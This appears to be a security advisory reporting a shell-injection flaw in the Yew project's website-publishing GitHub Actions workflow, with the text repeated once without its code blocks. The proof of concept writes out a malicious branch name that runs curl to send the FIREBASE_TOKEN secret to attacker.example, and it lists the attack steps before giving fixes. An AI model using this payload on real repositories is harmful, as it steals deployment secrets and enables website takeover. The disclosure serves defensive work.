Summary
The workflow .github/workflows/publish-website.yml in yewstack/yew interpolates github.event.workflow_run.head_branch directly into a shell command without sanitization. An attacker can exploit this to execute arbitrary commands, exfiltrating the FIREBASE_TOKEN secret. A stolen Firebase token allows the attacker to deploy arbitrary content to the Yew project's production website, enabling phishing, malware distribution, or defacement targeting the Yew community (32K+ GitHub stars).
Affected Workflow
https://github.com/yewstack/yew/blob/master/.github/workflows/publish-website.yml
Vulnerability Details
The workflow triggers on workflow_run completion of "Build website" with no branches: filter. When the triggering event is a pull_request, the "Apply pull request environment" step interpolates head_branch directly into a run: block:
on:
workflow_run:
workflows: ["Build website"]
types:
- completed
# No branches: filter
jobs:
publish:
if: github.event.workflow_run.conclusion == 'success'
steps:
# ...
- if: github.event.workflow_run.event == 'pull_request'
name: Apply pull request environment
run: |
pr_number=$(cat "artifacts/.PR_INFO")
if ! [[ "$pr_number" =~ ^[0-9]+$ ]]; then
echo "pr number invalid"
exit 1
fi
echo "PR_NUMBER=$pr_number" >> $GITHUB_ENV
echo "PR_BRANCH=${{ github.event.workflow_run.head_branch }}" >> $GITHUB_ENV
echo "COMMIT_SHA=${{ github.event.workflow_run.head_sha }}" >> $GITHUB_ENV
GitHub Actions performs expression substitution before the shell runs. An attacker who controls the branch name can inject arbitrary shell commands.
A branch name like:
"; curl https://attacker.example/steal?t=$FIREBASE_TOKEN; echo "
After substitution, the shell sees:
echo "PR_BRANCH="; curl https://attacker.example/steal?t=$FIREBASE_TOKEN; echo "" >> $GITHUB_ENV
The curl command executes unconditionally, exfiltrating the FIREBASE_TOKEN.
Note on workflow_run Trigger and Attacker Initiation
The workflow_run trigger poses a risk because it can often be initiated by an attacker. Some maintainers may be surprised by this, believing that their triggering workflows - which may run on events such as release - are safe. This assumption is based on the idea that since an attacker can't trigger a new release, they shouldn't be able to initiate the triggering workflow or the subsequent workflow_run workflow.
The reality is that an attacker can submit a pull request that modifies the triggering workflow and even replace its triggering events. Since pull_request workflows run in the context of the pull request's HEAD branch, the modified workflow will run and, upon completion, will be able to trigger an existing workflow_run workflow.
In this case, the "Build website" workflow already triggers on pull_request, so the attack path is straightforward - no workflow modification needed.
Reference: GitHub Security Lab: New GitHub Actions patterns and mitigations
Note on Fork Approval Gates
GitHub's default workflow execution setting only requires approval to run workflows from fork pull requests if the user is a first-time contributor. This means anyone who has previously submitted a PR that was approved and merged to yewstack/yew can trigger the workflow without any approval gate.
Even for first-time contributors, this is not a sufficient security boundary against a motivated attacker. It is possible for anyone to become a contributor by submitting a legitimate, benign PR first (e.g., a typo fix or documentation improvement), getting it merged, and then exploiting this vulnerability in a subsequent PR. The contributor approval gate should therefore not be relied upon as a security control.
Proof of Concept
- Fork
yewstack/yew.
- Create a branch with a shell injection payload as the name:
"; curl https://attacker.example/steal?t=$FIREBASE_TOKEN; echo "
- Open a pull request against
yewstack/yew from this branch.
- The "Build website" workflow triggers on
pull_request and completes successfully.
- The
publish-website.yml workflow triggers via workflow_run. The conclusion == 'success' check passes. The event == 'pull_request' condition is satisfied.
- The "Apply pull request environment" step substitutes the malicious branch name into the shell script. The injected
curl command executes, exfiltrating the FIREBASE_TOKEN.
Impact
FIREBASE_TOKEN exfiltration: The attacker gains the Firebase deployment token, allowing them to deploy arbitrary content to the Yew project's Firebase Hosting site. With the token, the attacker can deploy to the production channel (live), not just previews. This enables:
- Defacing the official Yew documentation/website
- Serving malicious downloads disguised as official Yew releases
- Phishing developers visiting the Yew docs with fake login pages or credential harvesting
- Injecting malicious JavaScript to compromise visitors' browsers
GITHUB_TOKEN exfiltration: Also accessible in the runner environment, though lower impact than the Firebase token.
Severity
High - any GitHub user can exfiltrate the Firebase deployment token by opening a pull request, enabling full takeover of the Yew project's website (32K+ GitHub stars, 1.4K forks).
Recommended Fix
1. Pass head_branch through an environment variable:
- if: github.event.workflow_run.event == 'pull_request'
name: Apply pull request environment
env:
HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }}
HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
run: |
pr_number=$(cat "artifacts/.PR_INFO")
if ! [[ "$pr_number" =~ ^[0-9]+$ ]]; then
echo "pr number invalid"
exit 1
fi
echo "PR_NUMBER=$pr_number" >> $GITHUB_ENV
echo "PR_BRANCH=$HEAD_BRANCH" >> $GITHUB_ENV
echo "COMMIT_SHA=$HEAD_SHA" >> $GITHUB_ENV
2. Add a branches: filter to the workflow_run trigger:
on:
workflow_run:
workflows: ["Build website"]
types:
- completed
branches: [master]
3. Add environment: protection with required reviewers on the publish job.
References
Summary
The workflow
.github/workflows/publish-website.ymlinyewstack/yewinterpolatesgithub.event.workflow_run.head_branchdirectly into a shell command without sanitization. An attacker can exploit this to execute arbitrary commands, exfiltrating theFIREBASE_TOKENsecret. A stolen Firebase token allows the attacker to deploy arbitrary content to the Yew project's production website, enabling phishing, malware distribution, or defacement targeting the Yew community (32K+ GitHub stars).Affected Workflow
https://github.com/yewstack/yew/blob/master/.github/workflows/publish-website.yml
Vulnerability Details
The workflow triggers on
workflow_runcompletion of "Build website" with nobranches:filter. When the triggering event is apull_request, the "Apply pull request environment" step interpolateshead_branchdirectly into arun:block:GitHub Actions performs expression substitution before the shell runs. An attacker who controls the branch name can inject arbitrary shell commands.
A branch name like:
After substitution, the shell sees:
The
curlcommand executes unconditionally, exfiltrating theFIREBASE_TOKEN.Note on
workflow_runTrigger and Attacker InitiationThe
workflow_runtrigger poses a risk because it can often be initiated by an attacker. Some maintainers may be surprised by this, believing that their triggering workflows - which may run on events such asrelease- are safe. This assumption is based on the idea that since an attacker can't trigger a new release, they shouldn't be able to initiate the triggering workflow or the subsequentworkflow_runworkflow.The reality is that an attacker can submit a pull request that modifies the triggering workflow and even replace its triggering events. Since
pull_requestworkflows run in the context of the pull request's HEAD branch, the modified workflow will run and, upon completion, will be able to trigger an existingworkflow_runworkflow.In this case, the "Build website" workflow already triggers on
pull_request, so the attack path is straightforward - no workflow modification needed.Reference: GitHub Security Lab: New GitHub Actions patterns and mitigations
Note on Fork Approval Gates
GitHub's default workflow execution setting only requires approval to run workflows from fork pull requests if the user is a first-time contributor. This means anyone who has previously submitted a PR that was approved and merged to
yewstack/yewcan trigger the workflow without any approval gate.Even for first-time contributors, this is not a sufficient security boundary against a motivated attacker. It is possible for anyone to become a contributor by submitting a legitimate, benign PR first (e.g., a typo fix or documentation improvement), getting it merged, and then exploiting this vulnerability in a subsequent PR. The contributor approval gate should therefore not be relied upon as a security control.
Proof of Concept
yewstack/yew.yewstack/yewfrom this branch.pull_requestand completes successfully.publish-website.ymlworkflow triggers viaworkflow_run. Theconclusion == 'success'check passes. Theevent == 'pull_request'condition is satisfied.curlcommand executes, exfiltrating theFIREBASE_TOKEN.Impact
FIREBASE_TOKENexfiltration: The attacker gains the Firebase deployment token, allowing them to deploy arbitrary content to the Yew project's Firebase Hosting site. With the token, the attacker can deploy to the production channel (live), not just previews. This enables:GITHUB_TOKENexfiltration: Also accessible in the runner environment, though lower impact than the Firebase token.Severity
High - any GitHub user can exfiltrate the Firebase deployment token by opening a pull request, enabling full takeover of the Yew project's website (32K+ GitHub stars, 1.4K forks).
Recommended Fix
1. Pass
head_branchthrough an environment variable:2. Add a
branches:filter to theworkflow_runtrigger:3. Add
environment:protection with required reviewers on the publish job.References